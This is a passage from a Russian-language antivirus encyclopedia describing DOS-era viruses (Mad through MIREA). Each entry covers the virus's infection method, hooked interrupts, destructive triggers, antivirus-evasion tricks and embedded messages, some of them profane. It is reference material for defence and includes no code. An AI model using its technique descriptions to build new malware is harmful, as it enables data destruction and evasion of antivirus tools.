трассировке вирусного кода могут уничтожить 10 первых секторов первого
жесткого диска. 31 декабря вирус выводит сообщение "I am DEAD M0R0SE" и
уничтожает содержимое CMOS-памяти.Вирус записывает свой код (4608 байт)
на диск (9 секторов), начиная с 9 сектора первой дорожки первого
цилиндра. Резидентная копия вируса занимает 231 байт, устанавливается
по адресу 0054:0000 и "перехватывает" путем врезки в оригинальный
обработчик INT 21h вызов случайного прерывания из второй половины
таблицы векторов прерываний (INT C0h-C7h), которое "контролируется"
резидентной копией. Данный код считывает в память по адресу 9A00:0000
при каждом вызове f.30h Int 21h (GetDOSVersion) основной вирусный код
с жесткого диска и отдает ему управление с целью определения имени,
стартовавшей программы и ее заражения. Вирус отказывается устанавливать
свою резидентную копию при работе в Windows. При заражении файлов вирус
читает первые 1000 байт файла в память компьютера и производит поиск
последовательности байт B4h ?? CDh 21h или B8h ?? ?? CDh 21h (загрузка
в регистр AH или AX какого-то значения и вызов прерывания 21h DOS).
Вместо байт CDh 21h вирус записывает последовательность CDh CCh - вызов
INT CCh, которое транслируется вирусом в "законное" прерывание INT 21h
DOS. При активном резидентном вирусе данные программы будут работать
нормально, но в "чистой" системе "поведение" таких программ -
непредсказуемо. В январе вирус заражает COM-файлы полиморфным вирусом
Mad.223 (см. Mad.223), который в дальнейшем распространяется
самостоятельно, независимо от вируса-родителя Mad.5131. Не заражает
файлы, имена которых заканчиваются на EB,ST,86,NF,VP,AN. Вирус содержит
тексты:
""" The MaDesTr0yeR """ aka [DEAD M0R0SE] version BETA TEST
Distribution & Copyright by Black Angel 1996
"Destroy Gr0up is down...!!!"
"НЕТУ И НЕБЫЛО DESTROY GR0UP!"
MiniMad 2.0 BETA! [c]Black Angel
Mad.7321
Неопасный резидентный полиморфный вирус. Содержит случайный алгоритм
расшифровки своего кода (см. RDA.Fighter), но из-за огромного числа
ошибок распространение данного вируса невозможно. Содержит тексты
"MAD 1.5 (C)Black Angel:I`m Back", "(c)Black Angel 16/05/96".
MadSatan.19033
Неопасный резидентный вирус. В период с 24 по 27 декабря выводит на
экран сообщение:
* Satan virus * MAD !! Another Masterpiece of Satan...........
Имеет также текст:
Satan virus Copyright (c) 1993 Ver 2.01 Written by * Mad Satan *
GOOD LUCK TO YOU
- Mad Satan - - Mad Satan - - Mad Satan -
MadSatan.Abba
Неопасный резидентный вирус. Ведет счетчик заражений в файлах ABBАл¦nn,
где nn - является порядковым номером заражений. При достижении nn
значения 59, на монохромный дисплей в графическом видеорежиме выводится
фотоизображение лица, видимо, китайской национальности.
MadSatan.Ruei
Модификация вируса MadSatan.Abba. Счетчик заражений ведется в файле
Satan_nn. При нехватке памяти выводит сообщение "Ruei-Chiang Virus
by Mad Satan". Содержит текст:
----------------
1994 (C) Copyright Ruei-Chiang Virus Written by Mad Satan in TAIWAN.
Carzy !!! Another Masterpiece of Satan.....
Don't Worry I just a Virus.
Satan Ver 3.01 - Mad Satan
-----------------
Magdzie.1114
Опасный резидентный стелс-вирус. Заражает EXE-файлы при их закрытии.
При открытии или запуске инфицированной программы удаляет из нее свой
вирусный код. Удаляет файлы CHKLIST?.*. 27 мая выводит на экран текст:
Magdzie T. - jutro Twoje urodziny!
После чего выводит довольно симпатичный движущийся графический узор.
Maiden.1726
Полиморфный резидентный вирус. Пытается открыть файл user.bbs и завести
в нем пользователя Hacker. Содержит тексты "Iron Maiden", "[MARAUDER`s
Mutation Device v0.9]".
Major.1644
Опасный резидентный вирус. В случайные моменты времени пытается открыть
файл \BBSV6\BBSAUDIT.DAT или \BBSV6\BBSUSR.DAT. Вирус ищет в данных
файлах строки Puppet, Image, Gnat, Minion, Cindy, F'nor. Если какая-
либо строка найдена, то вирус корректирует соответствующую строку BBS-
файла. Содержит текст "The Major BBS Virus created by Major tomTugger".
Malatinec.2367, 2396
Неопасные резидентные шифрованные вирусы. Не заражают файлы, имена
которых начинаются на COMMAND,ADINF,AVG,AVP,CLEAN,DRWEB,F-,FINDVIRU,FV,
GUARD,IBMAVSP,IV,NAV,NOD. Удаляет файлы ANTI-VIR.DAT, AVG.GRS, AVP.CRC,
CHKLIST.CPS, CHKLIST.MS, CHKLIST.TAV, FINGERP.VVF, FSIZES.QCV, IVB.NTZ,
NAV_._NO,SMARTCHK.CPS,_CHK.CHK. Содержат текст:
Virus Malatinec v.0.ы=|-reated by Aladiah
Greet: all my friends in Slovakia; G722,E10,H723,H118 & all H4??
(sch.yr.95/96) & of coz i send a big fuck 2 big boxer V.M.
Note: this is last evolutionary (с) version. Don't Worry!
Watch out for M.1.0 (available soon:)
Msg4Trnka: correct IDstr 4 Malat03=FCBF%2B9...
Malmsey.Habitat
Опасный нерезидентный вирус. При заражении файла по своей ошибке может
разрушить его. 30 сентября рисует картинку, как и Lokjaw.Zwei.808 и
выводит текст:
Malmsey Habitat v. 2.0 Lucifer Messiah -- ANARKICK SYSTEMS 07-18-92
Happy Birthday Pob!!
Mammoth.6000
Очень опасный файлово-загрузочный полиморфный стелс-вирус. При первом
старте инфицированной программы вирус заражает MBR жесткого диска.
Причем при наличии контроллера IDE жесткого диска, при записи вирусного
кода в MBR, вирус программирует непосредственно порты контроллера IDE.
Вирус определяет запуск инфицированной программы из под Microsoft
Windows и пытается в данном случае протрассировать INT 13h. В
зависимости от своих внутренних счетчиков или при неаккуратной
трассировке кода вируса, вирус может уничтожить информацию на жестких
дисках компьютера. Резидентная копия вируса устанавливается в память
при загрузке с жесткого диска компьютера. При 10 перезагрузке системы
вирус пытается уничтожить информацию на "винчестерах". Вирус
перехватывает INT 08, 13h, 17h, 20h, 21h, 25h, 26h. При заражении
Boot-секторов флоппи-дисков вирус форматирует дополнительную последнюю
дорожку дискеты, на которую записывает 12 секторов собственного кода и
оригинальный Boot-сектор. Вирус постоянно включает и выключает признак
наличия в КМОП (CMOS)-памяти дисководов флоппи-дисков, корректируя
контрольную сумму данной CMOS-памяти. При обращении к флоппи-дискам
вирус "включает" наличие дисководов в CMOS. После обращения -
"отключает". В результате, при загрузке системы с "чистой" системной
дискеты, дисководы дискет могут оказаться "неустановленными", и система
в таком случае попытается загрузиться с жесткого инфицированного диска.
Вирус первым получит управление, установит свою резидентную копию в
память, "включит" наличие дисководов в CMOS-памяти и отдаст управление
Boot-сектору диска A:. Т.о., вирус получит управление даже при загрузке
с "чистого" системного гибкого диска! Вирус содержит строку
"COMMAND.COMGDI.EXEDOSX.EXEWIN386.EXEKRNL286.EXEKRNL386.EXEUSER.EXE
WSWAP.EXECHKDSK.EXE".Программы, указанные в данной строке вирус не
заражает.
MangeTout.1091, 1099
Резидентные очень опасные вирусы. Используют оригинальный алгоритм
шифровки своего кода. Расшифровывают свои подпрограммы в сегменте с
адресом 0054:0000 и отдают им управление. Перехватывают INT 08, INT 09,
INT 21h. При вызове f.36h INT 21h (информация о свободном месте на
диске), вирусы подставляют в стек адрес возврата из прерывания на свой
код. Анализируют возвращенные INT 21h значения - хватит ли места для
заражения файлов на данном устройстве. После чего производят поиск
файлов *.EXE и *.COM с помощью функций FindFirst, FindNext INT 21h.
Если в течение часа не было ввода с клавиатуры, то MangeTout.1099
пытается отформатировать несколько секторов жесткого диска, а
MangeTout.1091 уничтожает пароль в CMOS-памяти и стирает содержимое
MBR. После этого вирусы "вешают" систему. Содержат инструкции i286.
Manitoba
Опасный загрузочный вирус. Не сохраняет оригинальные boot-сектора
флоппи-дисков.
Manu.4096
Неопасный резидентный вирус. Предусмотрен вывод сообщения "Parity error
0000:F243", но вряд ли он когда-нибудь наступит. Содержит текст "Manu
virus Version 1.0".
Manuel.2209
Неопасный резидентный шифрованный вирус. Устанавливает свою резидентную
копию в область HMA, изменяя адрес в межсегментном косвенном переходе
оригинального обработчика INT 21h на адрес вирусного обработчика.
Иногда щелкает динамиком. Содержит текст "Manuel strikes again".
Manzon.1414
Неопасный резидентный полиморфный вирус. Содержит текстовую строку
"MANZON (c) Sgg1F5".
Mao.1465 (1,2)
Неопасные резидентные вирусы. 9 сентября, в день рождения и 26 декабря,
в день смерти Мао Цзэдуна исполняет две различные китайские мелодии.
Marauder.860
Опасный вирус. 2 февраля производит поиск файлов *.* в текущем каталоге
и уничтожает их, производя в них запись текста
= [Marauder] 1992 Hellraiser - Phalcon/Skism.
Marian.700
Неопасный резидентный вирус. Содержит текст:
BULPACK BBS - PLOVDIV
Copyright (c) Marian Delkinov
PEDY PATENT.
Mariner.5000
Опасный резидентный шифрованный вирус. В июле выводит на экран картинку
солнца, моря и плавающего по нему кораблика, а также надпись "BCE HA
MOPE !!!". В момент когда кораблик плавает по экрану, вирус пытается
уничтожить информацию на жестком диске, правда, это не всегда ему
удается. Картинка с корабликом была отлажена лучше. Также вирус может
по воскресеньям записать в файлы с расширениями COM, EXE, PAS, CPP
фрагмент следующего текста:
I`m the Ghost V1.2.
Check. Your move, Mr.AntiVirus !
My author`s coordinates are:Sun system, Earth, Europe, Russi...
2B continued... The more we know,the less we show.
There is nothing in the world that I ever wanted more than to never
feel breaking apart all my programs again.
Markiz.1972
Вот что о своем "произведении" написал в "документации",
распространяющейся вместе с исходными текстами сам автор вируса:
Вирус перехватывает int 21h/ax=4b00h. В момент наступления такого
события вирус определяет тип файла и исследует его на граничные
значения. Если все проходит, вирус включает внутренний "отладчик" и
ловит любой вызов int 21h. Далее определяет адрес его возникновения и
предполагает, что его сгенерила запущенная программа. Затем вирус
пытается вычислить этот адрес на диске (не составляет труда для COM,
но довольно емкая процедура для варианта EXE) и проверяет,действительно
ли эта инструкция существует в файле (тут как раз вирус и обходит
упакованные файлы). В случае успеха, вирус сохраняет старое содержимое
XX байт в этом месте и пишет туда расшифровщик с переходом на тело
вируса ( XX - длина расшифровщика/перехода и составляет 22 для COM-
файлов, 33 для EXE). При этом производится сравнение, этих кодов на
диске и в памяти (дабы избежать порчу раскодировщика, например в случае
релокаций). Далее вирус переписывает в конец перешифрованную копию,
выключает свой "отладчик" и передает управление выполняемой программе.
При инфицировании EXE-файлов, вирус может корректировать SP_Entry в
заголовке EXE, помимо обязательной корректировки Pages_Count и
Part_Page. Это объясняется тем, что стек может располагаться где-то за
образом файла. При корректировке к значению SP_Entry прибавляется длина
вируса плюс 3000h байт.
Вирус содержит текст "MARKIZ-4/№1995 ----•¦31/+(¦" (/++•----".
Markiz.2660
Неопасный резидентный шифрованный вирус. В феврале и октябре выводит на
экран "скачущую" картинку:
Welcome to 1.6 version of highperfomance FortranLover virii, №1995 ¦31/+(¦" (/++
--¦---- --¦---- --¦---- --¦---- --¦---- --¦---- --¦-- -
-¦- --¦ --- -¦---- --¦- -- -¦---- -¦---- -¦ ---
-¦ --¦ --- -¦ --- ¦- -¦ --- -¦ --- -¦ --
---- ------- --- --- ---- --- --- --- --- --- --
-¬-¬- ¬-+¬-T¬
+¦¦++ +L+¬ ¦
+ +L--L+- +
-TT==T¬-=TTT=¬-г===T¬
¦¦¦ ¦¦ ¦¦¦ ++==
L¦¦==¦-L=¦¦¦=-L¦===¦-
Не заражает файлы, содержащие следующие строки ADIN,AID,ANT,DRW,FIND,
MSA, NAV, VSA, WEB. Иногда переименовывает стартующую программу
FO?MA???.EXE в FO?MA???.ExE, где x - это байт 0E5. Содержит текст
"[-DEDiCA+ED-+0-MARKiZ-]".
Martyr.641
Если в течение часа не было загрузки программ, выводит текст "Mеня ты
слишком долго МУЧАЛ ... Прощай, мой друг ! Я УМИPАЮ ..." и перегружает
систему.
Marzia-вирусы
Очень опасные файлово-загрузочные стелс-вирусы. Заражают MBR жесткого
диска, COM и EXE-файлы. При открытии инфицированных файлов удаляют свой
код из них. Содержат строку "MARZIA".
Marzia.2048
В зависимости от системного таймера форматируют случайный цилиндр на
первой головке первого жесткого диска. Не заражают программы,
заканчивающиеся на AN, OT, SK, PY.
Marzia.Baracuda
После 24 числа при старте некоторых антивирусных программ вызывает INT
24h AX=2. Содержит тексты "BARACUDA Vds" и "WW30V3".
Marzia.Demian
Содержит текст "DVDEMIAN".
Marzia.DV (2)
При старте некоторых программ могут уничтожить содержимое жесткого
диска. Содержат строку "DVv1.00a3".
Marzia.FaXFree
В апреле после 25 числа при старте некоторых антивирусных программ
вызывает INT 24h AX=2. Содержит тексты "PISello tenere fuori dalla
portata dei bambini. PaxTibiQuiLegis.FaxFree!!", "WW20V".
Marzia.Pasiphae
В марте после 25 числа при старте некоторых антивирусных программ
вызывает INT 24h AX=0. Содержит тексты "PASIPHAE(c)93Knosso by Willi
Wonka PpHhIiSsIiCcAaRrTt", "WW?-?".
Marzia.Pisello
В апреле после 25 числа при старте некоторых антивирусных программ
вызывает INT 24h AX=2. Содержит тексты "PISello tenere fuori dalla
portata dei bambini.", "WW20V3".
Marzia.SZ
При старте некоторых программ может уничтожить содержимое жесткого
диска, после чего выведет текст "SZ VIRUS". Содержит строку "WW35V3".
Marzia.VDS (1,2)
24 мая при старте некоторых антивирусных программ вызывает INT 24h
AX=2. Содержит тексты "(c)93Virus Development Software", "WW34V3".
Marzia.WW (1)
В марте после 25 числа пытается отформатировать все цилиндры головки-1
первого жесткого диска. Содержит строку "WWMARZIA". Не заражает файлы
с именем, заканчивающимся на OT (F-PROT). При вызове f.3031h INT 21h
выводит на экран текст:
Virus Development Software
(c)92 PETUNIA virus
Written by Willi Wonka
Fago industries
Marzia.WW (2)
30-31 числа с мая месяца уничтожает по 7 секторов на каждом цилиндре
0 дорожки. Содержит текст "WW20V3".
Mask.2389
Неопасный резидентный шифрованный вирус. Выводит сообщения по следующим
числам:
30 и 31 декабря:
*
/|\ Happy New Year, buddy !
//|\\
///|\\\ Yours truly
////|\\\\ The Mask 2
/////|\\\\\
|
1 апреля:
System diagnostic failure: cylinder #1 of your hard disk is cracked.
There is a peril of hard disk explosion.
Only an immediate formatting can help.
Confirm format now [Y/N]?
При нажатии на клавишу отличную от "Y" вирус выводит текст:
Wrong. Your hard disk NEEDS to be formatted.
А дальше продолжение такое же, как и при нажатии на "Y":
Say GOOD BYE to all data on your hard disk !
Start formatting ...
После чего вирус имитирует форматирование жесткого диска...
Format complete.
Peril of explosion is not over. Next several weeks be very careful:
if you will hear suspicious noise inside computer, immediately rush down
to the floor, quickly crawl to phone and call for rescue rangers (911).
Press the ENTER key.
Также иногда имитирует неисправность монитора и издает "характерный"
для данного случая звук. При нажатии на Esc выводит текст:
Video signal lost. Some device causes strong interference.
Please reorient or relocate your computer or consult
experienced technician for help.
Press the ENTER key.
Имеет внутри себя строку """ The Mask 2. Dedicated to Mrs Marina - the
Wonderfulest Woman I ever met. """.
Mask.3060
Неопасный резидентный шифрованный вирус. "Перехватывает" INT 20h, 21h,
22h. Выводит сообщения по следующим числам:
1 марта и 1 сентября:
Do you remember three main rules of computer user ?
Here they are:
1. Don't fart at your computer.
2. If you're working with secret documents, don't
forget to burn them down before reading.
3. Never be surprised by your computer's jokes.
Good work...
1 июня:
First day of SUMMER... Cool !
Isn't this that beautiful day we were all waiting for ?
1 декабря:
Winter... Damn !
The only good in winter is that there will be a summer after it...
30 и 31 декабря:
Happy New Year, buddy !
1 апреля:
System diagnostic error: cylinder no.12 of your hard disk is cracked.
There is a peril of explosion in 30 seconds.
Only an immediate formatting can help.
Confirm format now [Y/N]?
И ожидает нажатия на клавишу. Если нажатия на клавишу не было, то вирус
по истечении некоторого времени выводит текст:
Time is over. Can't wait longer.
Если была введен любой символ кроме "Y" или "y", то вирус выводит текст
Wrong. Your hard disk NEEDS to be formatted.
Далее, при любом исходе, вирус выводит текст:
Say GOOD BYE to all data on your hard disk !
Start formatting ...
и производит постоянное чтение 2 сектора жесткого диска. При нажатии на
клавишу "Esc", вирус выводит текст:
Relax ! It's a joke. Your hard disk is OK.
Содержит текстовую строку "The Mask".
Massacre.775
Опасный резидентный вирус. Может удалить стартующий файл.Содержит текст
"[MIDNIGHT MASSACRE] V1.2 by Crypt Keeper".
Maximum.1198
Неопасный нерезидентный вирус. Иногда выводит сообщение:
Radio MAXIMUM virus ver.1.0 beta (c) 1995 D&M Software.
So... tell me, what is the frequency of Radio MAXIMUM?
и ждет ввода строки. Если ввести строку 103_7 (четвертая цифра значения
не имеет), то вирус выводит текст:
Right!
Radio MAXIMUM - BEST Radio...
ждет нажатия на клавишу, после чего удаляет свой код (самоизлечивается)
из стартовавшей программы. Если же значение "частоты" будет введено не
такое, какое нравится вирусу, то будет выведен текст:
Error!
Now restarting...
и произойдет перезагрузка системы. Вирус также содержит строки "D&M.SYS
COMMAND.IBMBIO.IBMDOS.DOS.PATH=".
Maybe.664
Неопасный нерезидентный вирус. Выводит текст:
You have BEAST VIRUS now!
Turn OFF computer or begin format... You have X seconds!
Formatting... May be C: or may be....
После чего дергает головки жесткого диска и выводит строку:
Congratulation!
MayDay.419
Устанавливает системную дату на 1 мая 1992 года. При возникновении
критической ошибки (INT 24h) выводит строку "Today is May Day".
MBR77
После 77 заражений жестких дисков уничтожает информацию в 7 секторах
флоппи-дисков.
Mefl.625, 700
Неопасные резидентные вирусы. Имеют текст "МЭФЛ" или "#1502 - МЭФЛ".
Megadeth.3973, Megadeth.Sepultura
Неопасные резидентные полиморфные вирусы. Заражают COM и EXE-файлы,
записывая свой код в их начало, а программный код перенеся в конец
файла. EXE-файлы, таким образом, превращаются в формат COM-файла. При
старте вирусы трассируют INT 20h до входа в обработчик INT 21h и
устанавливают в определенной точке обработчика INT 21h межсегментный
JUMP на собственный код. Для программы-жертвы вирусы строят префикс
программного сегмента (PSP), настраивают EXE-файл с помощью таблицы
перемещаемых элементов (relocation table) и отдают программе-жертве
управление. Иногда при возникновении критической ошибки резидентный
вирусы могут вывести сообщение:
Megadeth.3973:
FORMULA 1: I love this competition. Coulthard will be the winner.
Megadeth.Sepultura:
Virus is dedicated
in memory of my friend Igor.
-- --- -- - - - --- - - -- -
- - - - - - - - - - - - - -
- - - - - - - - - - - - - -
--- --- -- - - - - - - -- ---
- - - - - - - - - - - - -
- - - - - - - - - - - - -
-- --- - -- --- - -- - - - -
CHAOS A.D.
Данное сообщение вирус Megadeth.Sepultura выводит также 20 сентября.
Содержат тексты:
Megadeth.3973:
MEGADETH
MtE-small by Keith Timmons.
MetallicA
Megadeth.Sepultura:
SEPULTURA
Shurick's MtE-small
Вирусы содержат серьезный механизм создания полиморфных копий. По
имеющимся данным вирус Megadeth.3973 был создан учеником 10 класса
Технического Лицея города-героя Севастополя. Данный ученик после
идентификации его личности, как автора, помочь в детектировании своего
же детища не смог.
Megawatt.249
Содержит строку "-=MEGAWATT=-".
Meht.1258, 1317
Опасные резидентные вирусы. Записывают свой код в 4 сектора, начиная с
10 сектора, на жесткий диск. Устанавливают часть своего кода в память
по адресу 60:0. При вызове f.4b00h INT 21h (запуск программы), вирусы
считывают 4 своих сектора с диска в память по адресу 9A00:0 и отдают
этому коду управление. "Перехватывают" INT 8, 21h. Периодически звонят
модемом по телефону 02. Содержат текст:
Meht.1258:
# Virus-MENT, v1.0 (C) MBD Poccuu. XI.1996 #
# HELLO, POLICE ! I`M, DIRTY USER, HAVE STEAL BILLY`S WINDOWS !
# POLICE OF THE WORLD, HANDS OFF FROM CYBERSPACE !
Meht.1317:
# Bupyc-MEHT, v1.0 (C) MBD Poccuu. XI.1996 #
# АЛЛО, МИЛИЦИЯ ! Я, ГРЯЗНЫЙ ЮЗЕР, УКРАЛ У БИЛЛИ ОКОШЕЧКИ !
# С #овым 1937-м годом, совковый киберспэйс !
# Да, здравствует российская милиция° и другие деревянные изделия...
MemLapse.787
Неопасный резидентный стелс-вирус. При открытии инфицированного файла
удаляет свой код из данного файла. Содержит текстовую строку: "[Nympho
Mitosis] v2.0 Copyright (c) 1993 Memory Lapse 5".
MemLapse.Glitch
Имеется "[Chromosome Glitch] v2.0 Copyright (c) 1993 Memory Lapse".
Mephisto.1235
Опасный резидентный шифрованный вирус. Иногда вызывает "буквопад" на
экране. Уничтожает файлы *.?SM. Заражает файлы CO?????.?OM
(COMMAND.COM). Содержит тексты "[NUMBER FIVE (Special) V 1.00]", "(Ы)
Mephisto Switzerland".
Metallica.500 (1,2)
Имеют строку "MetalliсА".
Metallica.1739
Иногда рисует на экране могилу. Дублирует нажатие клавиш. Содержит
строки "Manowar", "Metallica".
Mf.3490, 3503, 3564
Опасные полиморфные резидентные вирусы. Могут уничтожить содержимое
CMOS-памяти, меняют на экране русские буквы, а также нажатия на клавиши
р,а,с,е,p на г,a,c,э,р соответственно. Могут вывести сообщение:
Merlin from AMBER: FUCK YOU MAN!
Блокируют доступ к удаленным файлам. Проверяют ввод строк с клавиатуры.
Если введено "Tell me your ver, mf!", то вирусы выводят тексты:
Mf.3490 : My ver is MF v10.1
Mf.3503 : My ver is MF v10.1
Mf.3564 : My ver is MF v10.0
Если введена строка "Do your job, mf!", тогда выводят текст: "Yes, I
got it, man." и уничтожают содержимое CMOS-памяти.
Mf.4270, 4625, 5088
Опасные файлово-загрузочные полиморфные вирусы. Перехватывают INT 10h,
13h, 16h, 17h, 1Ch, 21h. При печати на принтер меняют буквы рРеЕ на
гГэЭ. "Трясут" экран. Если версия DOS ниже 5.00 - выводят сообщение
"Invalid parameter missing". При неаккуратном обезвреживании в памяти
резидентной копии вирусы могут вывести текст "Не занимайтесь
самолечением, друг мой !". При вводе с клавиатуры "tell me your
version" вирусы выводят тексты:
Mf.4270 - Alar Abaddon virus. Version 1.2 (peaceful)
Created by G..... A..... (C) 05/29/97
Mf.4625 - Alar Abaddon virus. Version 2.0 (peaceful)
Created by G..... A..... (C) 07/06/97
Mf.5088 - Alar Abaddon virus. Version 2.2 (harmful)
Created by G..... A..... (C) 07/29/97
При вводе "stop creeping" вирусы обезвреживают в памяти собственные
процедуры заражения файлов. Если ввести "do it right now", то вирусы
уничтожают содержимое CMOS-памяти. Вирус Mf.5088 при вводе строки "set
password" устанавливает пароль для CMOS-памяти и выводит текст
"Affirmative !!!".
MGen-вирусы (MutaGen).
MGen.Agent.1118
Содержит тексты "[MutaGenic Agent]", "[MutaGen] by MnemoniX".
MGen.Agent.1310
Содержит тексты "[MutaGenic Agent]", "[MutaGen .90с] MnemoniX".
MGen.Agent.1337
Содержит тексты "[MutaGenic Agent]", "[MutaGen .95с] MnemoniX".
MGen.Agent.1466
Содержит тексты "[MutaGenic Agent]", "[MutaGen 1.00] MnemoniX".
MGen.Agent.1656
Содержит тексты "[MutaGenic Agent I]", "[MutaGen 1.1]MnemoniX".
MGen.Agent.1715
Содержит тексты "[MutaGenic Agent II]", "[MutaGen 1.1]MnemoniX".
MGen.Garden
Очень опасный полиморфный вирус. Производит поиск *.COM, *.EXE-файлов и
записывает свой код поверх программного кода. Может выводить сообщения:
"Not enough memory.", "I need 4K more to start myself!", "FUCK PEARL
JAM!!!!LONG LIVE TECHNO!!!!". А также содержит тексты: "[Garden]This is
Garden V1.0.Very simple virus.New version will be better!!!" и
"[MutaGen 1.00] MnemoniX".
MGen.HiTek
Содержит текстовые строки "[BW с] [Hi Tek] by MnemoniX" и
"[MutaGen 1.1]MnemoniX".
MGen.Secret
Опасный полиморфный вирус. 17 числа записывает в C:\COMMAND.COM код,
производящий перезагрузку системы, выводит текст:
IN MY SECRET GARDENI'AM LOOKING FOR THE PERFECT FLOWER
I AM GOING TO FUCK YOUR HARD DISK IF YOU DON'T TYPE THE RIGHT PASSWORD.
DON'T TURN OFF YOUR COMPUTER BECAUSE I ALREADY FUCKED YOUR HARD DISK
AND I WILL FIX IT ONLY IF YOU ENTER THE RIGHT PASSWORD!!!
PASSWORD IS:
Содержит строки "[Secret Garden] by Nipple", "[MutaGen 1.00] MnemoniX".
MGTU.273
Содержит текст "Эта программа написанна в МГТУ студентом группы ИУ4".
MGUL.950
Опасный стелс-вирус. 30 ноября, 11 июня и 31 декабря уничтожает MBR и
Boot-сектор активного раздела. Содержит строку "МГУЛ. ВТБ-11. v1.0".
MGUL.1953, MGUL.1962
Опасные стелс-вирусы. 30 ноября и 11 июня уничтожают MBR. В результате
этого компьютер будет циклиться на перезагрузке ("вечная
перезагрузка"). Удаляют программы, содержащие буквосочетания -V, AD,
SC, AI, при их запуске Содержат строки: MGUL.1953 - "MGUL. v.2.5",
MGUL.1962 - "МГУЛ. v.2.0".
Mh.792, 1432, 1438, 1481, 1503, 1538
Неопасные резидентные шифрованные вирусы. Mh.1432,1438,1538 - файлово -
загрузочные вирусы,которые заражают файлы и MBR первого жесткого диска.
Mh.1481, 1538 пытаются найти и заразить COM и EXE-файлы на диске C: в
директории DOS, не заражают файлы, указанные в следующем списке (по 4
символа на имя): AVG.ASTASTRODPMIRTM.SCAN.
Michelangelo (1-5)
Очень опасные boot-вирусы. 6 марта, в день рождения Микеланджело,
уничтожают информацию на диске, с которого произошла загрузка системы.
Michelangelo (3) уничтожает информацию 18 февраля, Michelangelo (4) -
26 мая. Michelangelo (5) пытается заместить собой всех своих
"родственников" и 21 мая выводит текст "ANTI March6 Karpachev Dmitr.".
Mickie.1100
Неопасный резидентный шифрованный вирус. Содержит текстовую строку
"Mickie lives... somewhere in time! (c) 1995 Grave Lion".
Microb.431
Опасный резидентный вирус. 13 числа выводит текст "MICROB I" и
уничтожает информацию на первом жестком диске.
Microbe
Неопасный Boot-вирус. Заражает только дискеты емкостью 360K. При 164
загрузке с инфицированного диска выводит сообщение:
----------------------------------------¬
¦ This MICROBE is dedicated to ¦
¦ 'Microchips Inc.', Cebu City, Phil. ¦
¦ In appreciation for the quality ¦
¦ training it provided us. ¦
¦ ¦
¦ 02/19/88 ¦ MICROMAGIC ¦ ¦
L----------------------------------------
Microsof.1024
Содержит текст:
The IBM Personal Computer DOS
Version 3.30 (C)Copyright International Business Machines Corp 1981, 1987
(C)Copyright Microsof
Midnight (1)
Неопасный загрузочный вирус. Примерно в 23:57 производит чтение (f.2
Int 13h) случайных секторов диска.
Midnight (2)
В полночь выводит текст:
Ї•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•
їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ
•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•ї IT'S MID NIGH А СїЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•ї
Ї•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•їЇ•
Mikola
Уничтожает информацию в случайных секторах жесткого диска. Содержит
текст "...Mikola v 1.13".
Milan.Naziskin.270, 335
В апреле пытаются уничтожить Boot-сектор несуществующего диска (AL=80h
INT 26h). или Boot-сектор диска A:. Содержат текст "Copyright by German
NaZiSkIn Virus Club 1992- Forever Here lies you poor dead computer
May it sees the dawn!!!".
Milan.Prodigy
Опасный замещающий вирус. В 1997 году выводит текст:
Pr0diGy VeEr0oZ (c) 1995
HaPpY nEw YeAR! SeE U iN HeLL...
и пытается уничтожить содержимое 1000и секторов жесткого диска.
MiME-вирусы
MiME (Mini Mutation Engine)-полиморфный генератор вирусных шифровщиков
и расшифровщиков.
MiME.Demo
Неопасный демонстрационный вирус данного генератора, распространяемый в
комплекте с ним в виде файла и исходного текста.
MiME.WhoNo
Неопасный нерезидентный полиморфный вирус. Содержит тексты "[This is
WhoNoName V2.1 Virus By Dark Tommy]" , "The WhoNoName V2.1 Virus Make
With MiMe v1.0".
MiniMax
Неопасный загрузочный вирус. При чтении секторов может изменять в
буфере чтения словосочетания "MIN" на "MAX" и наоборот - "MAX" на
"MIN". Содержит зашифрованное слово "MiniMax".
MIPhT.460, 905
Неопасные резидентные вирусы. MIPhT.905 под MS-Windows в DOS-сессии
производит постоянную замену символов -\|/, производя т.о. видеоэффект,
известный, как "вентилятор". Содержат тексты:
MIPhT.460: """ To serve and protect. """
¦Ё MIPhT 25.11.94. Ё¦
MIPhT.905: "=Ё To serve and protect. Ё="
"Ё MIPhT 15.09.95. Ё"
Mipt.439, 602
Неопасные резидентные вирусы. Блокируют открытие файлов logo.pic,
heretic.wad, kb2.dat, MPSLOGO. Содержат тексты:
Mipt.439: "MIPT 3.04.96 (C)TERMINATOR",
Mipt.602: "MIPT(75),1995(C),TERMINATOR".
Mipt.879
Опасный резидентный вирус. При открытии файлов logo.pic, heretic.wad,
doom2.wad, doom.wad, kb2.dat, MPSLOGO, geodata\world.dat, mkset.bin,
FONTS.LBX, DESCENT.HOG, angbang.cnf вирус выводит текст:
Memory alloction error
System halted
и "вешает" систему. Имеет текст "MIPT 15.04.96(C)TERMINATOR".
Mipt.2000
Неопасный резидентный вирус. Создает файл C:\DOS\COUNT.SYS. Содержит
текст "MIPT (72) (C) EliteSoft February 1996 ****** 50 YEAR PhysTech
******".
Mira.438
Содержит тексты "MIRA JOKE", "*-=MIRA=-NNELED-*".
Miras.640
Неопасный нерезидентный вирус. Выводит сообщение:
и POR QUE ME MIRAS CON ESA CARA ?
и NUNCA HABIAS VISTO UN VIRUS ?
MIREA.1766, MIREA.2087, MIREA.2117
Полиморфики. После 1000 нажатий на клавиши в буфер клавиатуры помещают
следующие слова:
MIREA.1766 - "МИРЭА-IV",
MIREA.2087 - "МИРЭА-X",
MIREA.2117 - "МИРЭА-XI".
MIREA.4156
Производит поиск EXE-файлов, чтение из файла и запись в файл через INT
25h и INT 26h. Файлы могут быть поражены в любом директории текущего
диска. Полиморфик. Содержит ошибки, из-за которых неработоспособен на
